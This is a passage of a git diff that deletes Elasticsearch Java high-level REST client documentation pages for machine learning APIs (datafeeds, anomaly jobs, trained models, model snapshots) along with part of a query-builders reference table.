-==== Data description
-
-After defining the analysis config, the next thing to define is the
-data description, using a `DataDescription` instance. `DataDescription`
-reflects all the configuration settings that can be defined using the
-REST API.
-
-Using the REST API, we could define this metrics configuration:
-
-[source,js]
---------------------------------------------------
-"data_description" : {
-  "time_field" : "timestamp"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-Using the `DataDescription` object and the high level REST client, the same
-configuration would be:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-data-description]
---------------------------------------------------
-<1> The time field
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ returns the full representation of
-the new {ml} job if it has been successfully created. This will
-contain the creation time and other fields initialized using
-default values:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The creation time is a field that was not passed in the `Job` object in the request
diff --git a/docs/java-rest/high-level/ml/put-trained-model.asciidoc b/docs/java-rest/high-level/ml/put-trained-model.asciidoc
deleted file mode 100644
index d8c32015a50..00000000000
--- a/docs/java-rest/high-level/ml/put-trained-model.asciidoc
+++ /dev/null
@@ -1,61 +0,0 @@
---
-:api: put-trained-model
-:request: PutTrainedModelRequest
-:response: PutTrainedModelResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Put trained models API
-
-experimental:[]
-
-experimental::[]
-
-Creates a new trained model for inference.
-The API accepts a +{request}+ object as a request and returns a +{response}+.
-
-[id="{upid}-{api}-request"]
-==== Put trained models request
-
-A +{request}+ requires the following argument:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The configuration of the {infer} trained model to create
-
-[id="{upid}-{api}-config"]
-==== Trained model configuration
-
-The `TrainedModelConfig` object contains all the details about the trained model
-configuration and contains the following arguments:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-config]
---------------------------------------------------
-<1> The {infer} definition for the model
-<2> Optionally, if the {infer} definition is large, you may choose to compress it for transport.
-    Do not supply both the compressed and uncompressed definitions.
-<3> The unique model id
-<4> The input field names for the model definition
-<5> Optionally, a human-readable description
-<6> Optionally, an object map contain metadata about the model
-<7> Optionally, an array of tags to organize the model
-<8> The default inference config to use with the model. Must match the underlying
-    definition target_type.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ contains the newly created trained model.
-The +{response}+ will omit the model definition as a precaution against
-streaming large model definitions back to the client.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
diff --git a/docs/java-rest/high-level/ml/revert-model-snapshot.asciidoc b/docs/java-rest/high-level/ml/revert-model-snapshot.asciidoc
deleted file mode 100644
index b6785299b52..00000000000
--- a/docs/java-rest/high-level/ml/revert-model-snapshot.asciidoc
+++ /dev/null
@@ -1,48 +0,0 @@
---
-:api: revert-model-snapshot
-:request: RevertModelSnapshotRequest
-:response: RevertModelSnapshotResponse
---
-[role="xpack"]
-
-[id="{upid}-{api}"]
-=== Revert model snapshots API
-
-Reverts to a previous {ml} model snapshot.
-It accepts a +{request}+ object and responds
-with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Revert model snapshots request
-
-A +{request}+ requires the following arguments:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new request referencing existing `jobId` and `snapshotId` values.
-
-==== Optional arguments
-
-The following arguments are optional:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-delete-intervening-results]
---------------------------------------------------
-<1> A flag indicating whether or not results in the period between the timestamp on the reverted snapshot and the latest results should be deleted
-
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Revert job response
-
-A +{response}+ contains the full representation of the reverted `ModelSnapshot`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The reverted `ModelSnapshot`
diff --git a/docs/java-rest/high-level/ml/set-upgrade-mode.asciidoc b/docs/java-rest/high-level/ml/set-upgrade-mode.asciidoc
deleted file mode 100644
index d19a0d66360..00000000000
--- a/docs/java-rest/high-level/ml/set-upgrade-mode.asciidoc
+++ /dev/null
@@ -1,41 +0,0 @@
---
-:api: set-upgrade-mode
-:request: SetUpgradeModeRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Set upgrade mode API
-
-Temporarily halts all {ml} job and {dfeed} tasks when `enabled=true`. Their
-reported states remain unchanged. Consequently, when exiting upgrade mode the halted {ml} jobs and
-{dfeeds} will return to their previous state.
-
-It accepts a +{request}+ object and responds with a +{response}+ object.
-
-When `enabled=true`, no new jobs can be opened, and no job or {dfeed} tasks will
-be running. Be sure to set `enabled=false` once upgrade actions are completed.
-
-[id="{upid}-{api}-request"]
-==== Set upgrade mode request
-
-A +{request}+ object gets created setting the desired `enabled` state.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new request referencing enabling upgrade mode
-<2> Optionally setting the `timeout` value for how long the
-execution should wait.
-
-[id="{upid}-{api}-response"]
-==== Set upgrade mode response
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> `isAcknowledged()` from the +{response}+ indicates if the setting was set successfully.
-
-include::../execution.asciidoc[]
\ No newline at end of file
diff --git a/docs/java-rest/high-level/ml/start-data-frame-analytics.asciidoc b/docs/java-rest/high-level/ml/start-data-frame-analytics.asciidoc
deleted file mode 100644
index 6bfc9fff089..00000000000
--- a/docs/java-rest/high-level/ml/start-data-frame-analytics.asciidoc
+++ /dev/null
@@ -1,40 +0,0 @@
---
-:api: start-data-frame-analytics
-:request: StartDataFrameAnalyticsRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Start {dfanalytics-jobs} API
-
-experimental::[]
-
-Starts an existing {dfanalytics-job}.
-It accepts a +{request}+ object and responds with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Start {dfanalytics-jobs} request
-
-A +{request}+ object requires a {dfanalytics-job} ID.
-
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
----------------------------------------------------
-<1> Constructing a new start request referencing an existing {dfanalytics-job}
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Start {dfanalytics-jobs} response
-
-The returned +{response}+ object acknowledges the {dfanalytics-job} has started.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> `getNode()` returns the node that the job was assigned to. If the
-job is allowed to open lazily and has not yet been assigned to a node
-then an empty string is returned. If `getNode()` returns `null` then
-the server is an old version that does not return node information.
diff --git a/docs/java-rest/high-level/ml/start-datafeed.asciidoc b/docs/java-rest/high-level/ml/start-datafeed.asciidoc
deleted file mode 100644
index a54695bf821..00000000000
--- a/docs/java-rest/high-level/ml/start-datafeed.asciidoc
+++ /dev/null
@@ -1,58 +0,0 @@
---
-:api: start-datafeed
-:request: StartDatafeedRequest
-:response: StartDatafeedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Start {dfeeds} API
-
-Starts a {ml} {dfeed} in the cluster. It accepts a +{request}+ object and
-responds with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Start {dfeeds} request
-
-A +{request}+ object is created referencing a non-null `datafeedId`.
-All other fields are optional for the request.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new request referencing an existing `datafeedId`.
-
-==== Optional arguments
-
-The following arguments are optional.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-options]
---------------------------------------------------
-<1> Set when the {dfeed} should end, the value is exclusive.
-May be an epoch seconds, epoch millis or an ISO 8601 string.
-"now" is a special value that indicates the current time.
-If you do not specify an end time, the {dfeed} runs continuously.
-<2> Set when the {dfeed} should start, the value is inclusive.
-May be an epoch seconds, epoch millis or an ISO 8601 string.
-If you do not specify a start time and the {dfeed} is associated with a new job,
-the analysis starts from the earliest time for which data is available.
-<3> Set the timeout for the request
-
-[id="{upid}-{api}-response"]
-==== Start {dfeeds} response
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> `isStarted()` from the +{response}+ is always `true` if the {dfeed} was
-started successfully. (An exception would be thrown instead if the {dfeed}
-was not started successfully.)
-<2> `getNode()` returns the node that the {dfeed} was assigned to. If the
-{dfeed} is allowed to open lazily and has not yet been assigned to a node
-then an empty string is returned. If `getNode()` returns `null` then
-the server is an old version that does not return node information.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ml/stop-data-frame-analytics.asciidoc b/docs/java-rest/high-level/ml/stop-data-frame-analytics.asciidoc
deleted file mode 100644
index 58c66b472fc..00000000000
--- a/docs/java-rest/high-level/ml/stop-data-frame-analytics.asciidoc
+++ /dev/null
@@ -1,32 +0,0 @@
---
-:api: stop-data-frame-analytics
-:request: StopDataFrameAnalyticsRequest
-:response: StopDataFrameAnalyticsResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Stop {dfanalytics-jobs} API
-
-experimental::[]
-
-Stops a running {dfanalytics-job}.
-It accepts a +{request}+ object and responds with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Stop {dfanalytics-jobs} request
-
-A +{request}+ object requires a {dfanalytics-job} ID.
-
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
----------------------------------------------------
-<1> Constructing a new stop request referencing an existing {dfanalytics-job}
-<2> Optionally used to stop a failed task
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ object acknowledges the {dfanalytics-job} has stopped.
\ No newline at end of file
diff --git a/docs/java-rest/high-level/ml/stop-datafeed.asciidoc b/docs/java-rest/high-level/ml/stop-datafeed.asciidoc
deleted file mode 100644
index 8b94bea8713..00000000000
--- a/docs/java-rest/high-level/ml/stop-datafeed.asciidoc
+++ /dev/null
@@ -1,39 +0,0 @@
---
-:api: stop-datafeed
-:request: StopDatafeedRequest
-:response: StopDatafeedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Stop datafeeds API
-
-Stops a {ml} datafeed in the cluster.
-It accepts a +{request}+ object and responds
-with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Stop datafeeds request
-
-A +{request}+ object is created referencing any number of non-null `datafeedId` entries.
-Wildcards and `_all` are also accepted.
-All other fields are optional for the request.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new request referencing existing `datafeedId` entries.
-
-==== Optional arguments
-
-The following arguments are optional.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-options]
---------------------------------------------------
-<1> Whether to ignore if a wildcard expression matches no datafeeds. (This includes `_all` string)
-<2> If true, the datafeed is stopped forcefully.
-<3> Controls the amount of time to wait until a datafeed stops. The default value is 20 seconds.
-
-include::../execution.asciidoc[]
\ No newline at end of file
diff --git a/docs/java-rest/high-level/ml/update-data-frame-analytics.asciidoc b/docs/java-rest/high-level/ml/update-data-frame-analytics.asciidoc
deleted file mode 100644
index 36db38186dc..00000000000
--- a/docs/java-rest/high-level/ml/update-data-frame-analytics.asciidoc
+++ /dev/null
@@ -1,54 +0,0 @@
---
-:api: update-data-frame-analytics
-:request: UpdateDataFrameAnalyticsRequest
-:response: UpdateDataFrameAnalyticsResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Update {dfanalytics-jobs} API
-
-experimental::[]
-
-Updates an existing {dfanalytics-job}.
-The API accepts an +{request}+ object as a request and returns an +{response}+.
-
-[id="{upid}-{api}-request"]
-==== Update {dfanalytics-jobs} request
-
-An +{request}+ requires the following argument:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The configuration of the {dfanalytics-job} update to perform
-
-[id="{upid}-{api}-config"]
-==== {dfanalytics-cap} configuration update
-
-The `DataFrameAnalyticsConfigUpdate` object contains all the details about the {dfanalytics-job}
-configuration update and contains the following arguments:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-config-update]
---------------------------------------------------
-<1> The {dfanalytics-job} ID
-<2> The human-readable description
-<3> The memory limit for the model created as part of the analysis process
-<4> The maximum number of threads to be used by the analysis
-
-[id="{upid}-{api}-query-config"]
-
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ contains the updated {dfanalytics-job}.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
diff --git a/docs/java-rest/high-level/ml/update-datafeed.asciidoc b/docs/java-rest/high-level/ml/update-datafeed.asciidoc
deleted file mode 100644
index b76c009f9cb..00000000000
--- a/docs/java-rest/high-level/ml/update-datafeed.asciidoc
+++ /dev/null
@@ -1,59 +0,0 @@
---
-:api: update-datafeed
-:request: UpdateDatafeedRequest
-:response: PutDatafeedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Update datafeeds API
-
-Updates a {ml} datafeed in the cluster. The API accepts a +{request}+ object
-as a request and returns a +{response}+.
-
-[id="{upid}-{api}-request"]
-==== Update datafeeds request
-
-A +{request}+ requires the following argument:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The updated configuration of the {ml} datafeed
-
-[id="{upid}-{api}-config"]
-==== Updated datafeeds arguments
-
-A `DatafeedUpdate` requires an existing non-null `datafeedId` and
-allows updating various settings.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-config]
---------------------------------------------------
-<1> Mandatory, non-null `datafeedId` referencing an existing {ml} datafeed.
-<2> Optional, set the datafeed aggregations for data gathering.
-<3> Optional, the indices that contain the data to retrieve and feed into the
-{anomaly-job}.
-<4> Optional, specifies how data searches are split into time chunks.
-<5> Optional, the interval at which scheduled queries are made while the
-datafeed runs in real time.
-<6> Optional, a query to filter the search results by. Defaults to the
-`match_all` query.
-<7> Optional, the time interval behind real time that data is queried.
-<8> Optional, allows the use of script fields.
-<9> Optional, the `size` parameter used in the searches.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ returns the full representation of
-the updated {ml} datafeed if it has been successfully updated.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The updated datafeed.
diff --git a/docs/java-rest/high-level/ml/update-filter.asciidoc b/docs/java-rest/high-level/ml/update-filter.asciidoc
deleted file mode 100644
index d73560500f1..00000000000
--- a/docs/java-rest/high-level/ml/update-filter.asciidoc
+++ /dev/null
@@ -1,57 +0,0 @@
---
-:api: update-filter
-:request: UpdateFilterRequest
-:response: PutFilterResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Update filters API
-
-Updates an existing {ml} filter in the cluster. The API accepts a +{request}+
-object as a request and returns a +{response}+.
-
-[id="{upid}-{api}-request"]
-==== Update filters request
-
-A +{request}+ requires the following argument:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The id of the existing {ml} filter.
-
-==== Optional arguments
-The following arguments are optional:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-description]
---------------------------------------------------
-<1> The updated description of the {ml} filter.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-add-items]
---------------------------------------------------
-<1> The list of items to add to the {ml} filter.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-remove-items]
---------------------------------------------------
-<1> The list of items to remove from the {ml} filter. 
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ returns the full representation of
-the updated {ml} filter if it has been successfully updated.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The updated `MlFilter`.
diff --git a/docs/java-rest/high-level/ml/update-job.asciidoc b/docs/java-rest/high-level/ml/update-job.asciidoc
deleted file mode 100644
index 5a2217d0924..00000000000
--- a/docs/java-rest/high-level/ml/update-job.asciidoc
+++ /dev/null
@@ -1,67 +0,0 @@
---
-:api: update-job
-:request: UpdateJobRequest
-:response: PutJobResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Update {anomaly-jobs} API
-
-Provides the ability to update an {anomaly-job}.
-It accepts a +{request}+ object and responds with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Update {anomaly-jobs} request
-
-An +{request}+ object gets created with a `JobUpdate` object.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new request referencing a `JobUpdate` object.
-
-==== Optional arguments
-
-The `JobUpdate` object has many optional arguments with which to update an
-existing {anomaly-job}. An existing, non-null `jobId` must be referenced in its 
-creation.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-options]
---------------------------------------------------
-<1> Mandatory, non-null `jobId` referencing an existing {anomaly-job}.
-<2> Updated description.
-<3> Updated analysis limits. 
-<4> Updated background persistence interval.
-<5> Updated analysis config's categorization filters.
-<6> Updated detectors through the `JobUpdate.DetectorUpdate` object.
-<7> Updated group membership.
-<8> Updated result retention.
-<9> Updated model plot configuration.
-<10> Updated model snapshot retention setting.
-<11> Updated custom settings.
-<12> Updated renormalization window.
-
-Included with these options are specific optional `JobUpdate.DetectorUpdate` updates.
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-detector-options]
---------------------------------------------------
-<1> The index of the detector. `O` means unknown.
-<2> The optional description of the detector.
-<3> The `DetectionRule` rules that apply to this detector.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Update {anomaly-jobs} response
-
-A +{response}+ contains the updated `Job` object
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> `getResponse()` returns the updated `Job` object.
diff --git a/docs/java-rest/high-level/ml/update-model-snapshot.asciidoc b/docs/java-rest/high-level/ml/update-model-snapshot.asciidoc
deleted file mode 100644
index a38462e1503..00000000000
--- a/docs/java-rest/high-level/ml/update-model-snapshot.asciidoc
+++ /dev/null
@@ -1,54 +0,0 @@
---
-:api: update-model-snapshot
-:request: UpdateModelSnapshotRequest
-:response: UpdateModelSnapshotResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Update model snapshots API
-
-Updates a {ml} model snapshot.
-It accepts a +{request}+ object and responds with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Update model snapshots request
-
-A +{request}+ requires the following arguments:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new request referencing existing `jobId` and `snapshotId`
-values.
-
-==== Optional arguments
-
-The following arguments are optional:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-description]
---------------------------------------------------
-<1> The updated description of the {ml} model snapshot.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-retain]
---------------------------------------------------
-<1> The updated `retain` property of the {ml} model snapshot.
-
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Update model snapshots response
-
-A +{response}+ contains an acknowledgement of the update request and the full representation of the updated `ModelSnapshot` object
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> An acknowledgement of the request.
-<2> The updated `ModelSnapshot`.
diff --git a/docs/java-rest/high-level/query-builders.asciidoc b/docs/java-rest/high-level/query-builders.asciidoc
deleted file mode 100644
index a2706e7ad8a..00000000000
--- a/docs/java-rest/high-level/query-builders.asciidoc
+++ /dev/null
@@ -1,104 +0,0 @@
-[[java-rest-high-query-builders]]
-=== Building Queries
-
-This page lists all the available search queries with their corresponding `QueryBuilder` class name and helper method name in the
-`QueryBuilders` utility class.
-
-:query-ref:             {elasticsearch-javadoc}/org/elasticsearch/index/query
-:mapper-extras-ref:     {mapper-extras-client-javadoc}/org/elasticsearch/index/query
-:parentjoin-ref:        {parent-join-client-javadoc}/org/elasticsearch/join/query
-:percolate-ref:         {percolator-client-javadoc}/org/elasticsearch/percolator
-
-==== Match All Query
-[options="header"]
-|======
-| Search Query                                                        | QueryBuilder Class | Method in QueryBuilders
-| {ref}/query-dsl-match-all-query.html[Match All]                     | {query-ref}/MatchAllQueryBuilder.html[MatchAllQueryBuilder]                         | {query-ref}/QueryBuilders.html#matchAllQuery--[QueryBuilders.matchAllQuery()]
-|======
-
-==== Full Text Queries
-[options="header"]
-|======
-| Search Query                                                        | QueryBuilder Class | Method in QueryBuilders
-| {ref}/query-dsl-match-query.html[Match]                             | {query-ref}/MatchQueryBuilder.html[MatchQueryBuilder]                               | {query-ref}/QueryBuilders.html#matchQuery-java.lang.String-java.lang.Object-[QueryBuilders.matchQuery()]
-| {ref}/query-dsl-match-query-phrase.html[Match Phrase]               | {query-ref}/MatchPhraseQueryBuilder.html[MatchPhraseQueryBuilder]                   | {query-ref}/QueryBuilders.html#matchPhraseQuery-java.lang.String-java.lang.Object-[QueryBuilders.matchPhraseQuery()]
-| {ref}/query-dsl-match-query-phrase-prefix.html[Match Phrase Prefix] | {query-ref}/MatchPhrasePrefixQueryBuilder.html[MatchPhrasePrefixQueryBuilder]       | {query-ref}/QueryBuilders.html#matchPhrasePrefixQuery-java.lang.String-java.lang.Object-[QueryBuilders.matchPhrasePrefixQuery()]
-| {ref}/query-dsl-multi-match-query.html[Multi Match]                 | {query-ref}/MultiMatchQueryBuilder.html[MultiMatchQueryBuilder]                     | {query-ref}/QueryBuilders.html#multiMatchQuery-java.lang.Object-java.lang.String\…-[QueryBuilders.multiMatchQuery()]
-| {ref}/query-dsl-common-terms-query.html[Common Terms]               | {query-ref}/CommonTermsQueryBuilder.html[CommonTermsQueryBuilder]                   | {query-ref}/QueryBuilders.html#commonTermsQuery-java.lang.String-java.lang.Object-[QueryBuilders.commonTermsQuery()]
-| {ref}/query-dsl-query-string-query.html[Query String]               | {query-ref}/QueryStringQueryBuilder.html[QueryStringQueryBuilder]                   | {query-ref}/QueryBuilders.html#queryStringQuery-java.lang.String-[QueryBuilders.queryStringQuery()]
-| {ref}/query-dsl-simple-query-string-query.html[Simple Query String] | {query-ref}/SimpleQueryStringBuilder.html[SimpleQueryStringBuilder]                 | {query-ref}/QueryBuilders.html#simpleQueryStringQuery-java.lang.String-[QueryBuilders.simpleQueryStringQuery()]
-|======
-
-==== Term-level queries
-[options="header"]
-|======
-| Search Query                                                        | QueryBuilder Class | Method in QueryBuilders
-| {ref}/query-dsl-term-query.html[Term]                               | {query-ref}/TermQueryBuilder.html[TermQueryBuilder]                                 | {query-ref}/QueryBuilders.html#termQuery-java.lang.String-java.lang.String-[QueryBuilders.termQuery()]
-| {ref}/query-dsl-terms-query.html[Terms]                             | {query-ref}/TermsQueryBuilder.html[TermsQueryBuilder]                               | {query-ref}/QueryBuilders.html#termsQuery-java.lang.String-java.util.Collection-[QueryBuilders.termsQuery()]
-| {ref}/query-dsl-range-query.html[Range]                             | {query-ref}/RangeQueryBuilder.html[RangeQueryBuilder]                               | {query-ref}/QueryBuilders.html#rangeQuery-java.lang.String-[QueryBuilders.rangeQuery()]
-| {ref}/query-dsl-exists-query.html[Exists]                           | {query-ref}/ExistsQueryBuilder.html[ExistsQueryBuilder]                             | {query-ref}/QueryBuilders.html#existsQuery-java.lang.String-[QueryBuilders.existsQuery()]
-| {ref}/query-dsl-prefix-query.html[Prefix]                           | {query-ref}/PrefixQueryBuilder.html[PrefixQueryBuilder]                             | {query-ref}/QueryBuilders.html#prefixQuery-java.lang.String-java.lang.String-[QueryBuilders.prefixQuery()]
-| {ref}/query-dsl-wildcard-query.html[Wildcard]                       | {query-ref}/WildcardQueryBuilder.html[WildcardQueryBuilder]                         | {query-ref}/QueryBuilders.html#wildcardQuery-java.lang.String-java.lang.String-[QueryBuilders.wildcardQuery()]
-| {ref}/query-dsl-regexp-query.html[Regexp]                           | {query-ref}/RegexpQueryBuilder.html[RegexpQueryBuilder]                             | {query-ref}/QueryBuilders.html#regexpQuery-java.lang.String-java.lang.String-[QueryBuilders.regexpQuery()]
-| {ref}/query-dsl-fuzzy-query.html[Fuzzy]                             | {query-ref}/FuzzyQueryBuilder.html[FuzzyQueryBuilder]                               | {query-ref}/QueryBuilders.html#fuzzyQuery-java.lang.String-java.lang.String-[QueryBuilders.fuzzyQuery()]
-| {ref}/query-dsl-type-query.html[Type]                               | {query-ref}/TypeQueryBuilder.html[TypeQueryBuilder]                                 | {query-ref}/QueryBuilders.html#typeQuery-java.lang.String-[QueryBuilders.typeQuery()]
-| {ref}/query-dsl-ids-query.html[Ids]                                 | {query-ref}/IdsQueryBuilder.html[IdsQueryBuilder]                                   | {query-ref}/QueryBuilders.html#idsQuery--[QueryBuilders.idsQuery()]
-|======
-
-==== Compound queries
-[options="header"]
-|======
-| Search Query                                                        | QueryBuilder Class | Method in QueryBuilders
-| {ref}/query-dsl-constant-score-query.html[Constant Score]           | {query-ref}/ConstantScoreQueryBuilder.html[ConstantScoreQueryBuilder]               | {query-ref}/QueryBuilders.html#constantScoreQuery-org.elasticsearch.index.query.QueryBuilder-[QueryBuilders.constantScoreQuery()]
-| {ref}/query-dsl-bool-query.html[Bool]                               | {query-ref}/BoolQueryBuilder.html[BoolQueryBuilder]                                 | {query-ref}/QueryBuilders.html#boolQuery--[QueryBuilders.boolQuery()]
-| {ref}/query-dsl-dis-max-query.html[Dis Max]                         | {query-ref}/DisMaxQueryBuilder.html[DisMaxQueryBuilder]                             | {query-ref}/QueryBuilders.html#disMaxQuery--[QueryBuilders.disMaxQuery()]
-| {ref}/query-dsl-function-score-query.html[Function Score]           | {query-ref}/functionscore/FunctionScoreQueryBuilder.html[FunctionScoreQueryBuilder] | {query-ref}/QueryBuilders.html#functionScoreQuery-org.elasticsearch.index.query.functionscore.FunctionScoreQueryBuilder.FilterFunctionBuilder:A-[QueryBuilders.functionScoreQuery()]
-| {ref}/query-dsl-boosting-query.html[Boosting]                       | {query-ref}/BoostingQueryBuilder.html[BoostingQueryBuilder]                         | {query-ref}/QueryBuilders.html#boostingQuery-org.elasticsearch.index.query.QueryBuilder-org.elasticsearch.index.query.QueryBuilder-[QueryBuilders.boostingQuery()]
-|======
-
-==== Joining queries
-[options="header"]
-|======
-| Search Query                                                        | QueryBuilder Class | Method in QueryBuilders
-| {ref}/query-dsl-nested-query.html[Nested]                           | {query-ref}/NestedQueryBuilder.html[NestedQueryBuilder]                             | {query-ref}/QueryBuilders.html#nestedQuery-java.lang.String-org.elasticsearch.index.query.QueryBuilder-org.apache.lucene.search.join.ScoreMode-[QueryBuilders.nestedQuery()]
-| {ref}/query-dsl-has-child-query.html[Has Child]                     | {parentjoin-ref}/HasChildQueryBuilder.html[HasChildQueryBuilder]                    |
-| {ref}/query-dsl-has-parent-query.html[Has Parent]                   | {parentjoin-ref}/HasParentQueryBuilder.html[HasParentQueryBuilder]                  |
-| {ref}/query-dsl-parent-id-query.html[Parent Id]                     | {parentjoin-ref}/ParentIdQueryBuilder.html[ParentIdQueryBuilder]                    |
-|======
-
-==== Geo queries
-[options="header"]
-|======
-| Search Query                                                        | QueryBuilder Class | Method in QueryBuilders
-| {ref}/query-dsl-geo-shape-query.html[GeoShape]                      | {query-ref}/GeoShapeQueryBuilder.html[GeoShapeQueryBuilder]                         | {query-ref}/QueryBuilders.html#geoShapeQuery-java.lang.String-java.lang.String-java.lang.String-[QueryBuilders.geoShapeQuery()]
-| {ref}/query-dsl-geo-bounding-box-query.html[Geo Bounding Box]       | {query-ref}/GeoBoundingBoxQueryBuilder.html[GeoBoundingBoxQueryBuilder]             | {query-ref}/QueryBuilders.html#geoBoundingBoxQuery-java.lang.String-[QueryBuilders.geoBoundingBoxQuery()]
-| {ref}/query-dsl-geo-distance-query.html[Geo Distance]               | {query-ref}/GeoDistanceQueryBuilder.html[GeoDistanceQueryBuilder]                   | {query-ref}/QueryBuilders.html#geoDistanceQuery-java.lang.String-[QueryBuilders.geoDistanceQuery()]
